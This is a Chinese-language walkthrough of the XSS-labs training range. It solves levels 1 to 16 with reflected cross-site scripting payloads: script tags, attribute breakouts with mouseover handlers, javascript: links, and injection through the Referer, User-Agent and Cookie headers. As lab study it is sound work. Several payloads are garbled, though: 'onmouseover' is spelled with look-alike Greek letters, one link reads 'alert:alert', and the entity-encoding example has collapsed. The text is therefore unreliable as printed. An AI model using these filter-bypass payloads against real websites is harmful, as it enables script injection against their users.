本文主要對XSS-labs靶場進行介紹,給出了我一步步怎么發現漏洞的過程。
目錄
第一關
第二關
第三關
第四關
第五關
第六關
第七關
第八關
第九關
第十關
第十一關
第十二關
第十三關
第十四關
第十五關
第十六關
第一關
沒啥好說的,直接干
<script>alert(1)</script>
第二關
隨便輸一下,沒反應,ctrl+u看源碼
發現在value里,閉合:
"><script>alert(1)</script>
第三關
隨便輸一下,然后看源代碼:
發現把<>和"給編碼了,那就不用尖括號,用onmouseover,注意閉合:
' οnmοuseοver='alert(1)
第四關
對于這種編碼的,我們可以輸入一個萬能匹配:<script " 'Oonn>,看看它過濾了啥
發現<>干掉了,還是用onmouseover
" οnmοuseοver="alert(1)
第五關
還是<script " 'Oonn>先試
發現大寫干掉了,并且字符 o 和 r 后面會加上 _
除了script和onmouseover,還可以用 <a href="javascript:alert:alert(1)">click</a>
"><a href="javascript:alert:alert(1)">click</a>
第六關
<script " 'Oonn>先試
還是一樣,r 和 o加了_,但沒過濾大寫
"><scRipt>alert(1)</scRipt>
第七關
<script " 'Oonn>先試
發現,script和on直接干掉了,還過濾了大寫
但是我們可以寫兩個on
" oonnmouseover="alert(1)
第八關
此題有一個友情鏈接,但我們還是<script " 'Oonn>先試
我們看哪個呢?這個友情鏈接自帶href了,我們可以直接注入它然后點擊來過關。
寫?javascript:alert(1)
還是不行。這里還有一個新思路,對字符進行實體編碼
轉換網址:HTML字符實體轉換,網頁字符實體編碼
實體編碼HTML也能認,規則是 &#x + 16進制數 + ;
如 r 是 r
javascript:alert(1)
第九關
<script " 'Oonn>先試
直接不給機會,說不合法
這題有點刁鉆,源碼是說輸入必須要有 'http://' 才行
javascript:alert('http://')
第十關
<script " 'Oonn>先試
好像都沒啥用,但是有三個hidden標簽
我們都一一賦值看看
發現 t_sort 是突破點
給 t_sort 賦值:?<script " 'Oonn>
發現<>干掉了,那就 onmouseover
發現可以,那我們只要把hidden標簽去掉就行
t_sort=" type="" οnmοuseοver="alert(1)
第十一關
發現和第十關一樣,先試試突破點在哪:t_link=1&t_history=1&t_sort=1&t_ref=1
發現還在 t_sort,試試<script " 'Oonn>
發現 <>和雙引號過濾了,這個思路斷了,換一下。
發現一開始 t-ref 有一個value,referer是標識從哪里訪問來的
要看refer,我們就要抓包然后加一個Referer字段試試:
發現已經有了
在Request包內添加 Referer: " type="" οnmοuseοver="alert(1)
第十二關
上一題是加Referer字段,那么這一題會不會同類型呢,看看源代碼
果然,這次我們修改User-Agent字段:
成功!
在Request包內修改 User-Agent: " type="" οnmοuseοver="alert(1)?
第十三關
此關同理,先查看源代碼:
發現是要修改Cookie字段:
成功!
?在Request包內修改 Cookie: user=" type="" οnmοuseοver="alert(1)?
第十四關
十四關是通過源代碼中的一個網址來上傳帶有XSS的exif圖片來做
但這個網址掛了,這里就不演示了
圖片的XSS這里可以改:
第十五關
十五關乍一看好像沒啥,看看源碼,有一個ng-include
這是用來嵌入別的網頁的。我們來試試level1.php
發現第一關能用,第一關的get請求是name,輸入<script " 'Oonn>看看屏蔽了什么。
尖括號和雙引號都html轉義了,那就用onmouse來做
可以寫一個img標簽插入到網頁中:
鼠標放上去就成功過了。
src='level1.php?name=<img src=1 οnmοuseοver=alert(1)>'
第十六關
十六關發現給了一個test,改一改試試:
on還能用,并且發現在center標簽內,那就還是上題的思路,做一個img放進去
發現空格被轉義了。空格轉義在HTML中可以用換行來表示,換行的URL編碼為%0a
鼠標放上去即可成功。
keyword=<img%0Asrc=1%0Aοnmοuseοver=alert(1)>
最后四關都是跟flash有關,但flash已經掛了,這里就不演示了。
感謝你能看到這里o(* ̄▽ ̄*)ブ